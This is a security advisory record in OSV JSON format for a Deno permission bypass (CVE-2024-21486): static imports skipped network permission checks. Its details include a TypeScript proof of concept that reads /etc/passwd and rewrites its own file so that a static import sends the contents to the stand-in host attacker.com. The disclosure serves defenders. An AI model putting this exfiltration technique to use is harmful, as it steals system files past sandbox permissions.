{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-21486"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-05T01:21:08Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nStatic imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.\n\n### Details\n\nStatic imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with `deno run`:\n\n1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.\n2. When `--allow-write` and `--allow-read` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.\n\n### PoC\n\n```ts\nconst __filename = new URL(\"\", import.meta.url).pathname;\nlet oldContent = await Deno.readTextFile(__filename);\nlet passFile = await Deno.readTextFile(\"/etc/passwd\");\nlet pre =\n  \u0027import {foo} from \"[https://attacker.com?val=](https://attacker.com/?val=)\u0027 +\n  encodeURIComponent(passFile) + \u0027\";\\n\u0027;\nawait Deno.writeTextFile(__filename, pre + oldContent);\n```\n\nExecuting a file containing this payload twice, with `deno run --allow-read --allow-write` would cause the password file to leak on the network, even though no network permission was granted.\n\nThis vulnerability was fixed with the addition of the `--allow-import` flag: https://docs.deno.com/runtime/fundamentals/security/#network-access",
  "id": "GHSA-jv4x-jv3h-qff5",
  "modified": "2025-06-05T01:21:08Z",
  "published": "2025-06-05T01:21:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/security/advisories/GHSA-jv4x-jv3h-qff5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/denoland/deno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor"
}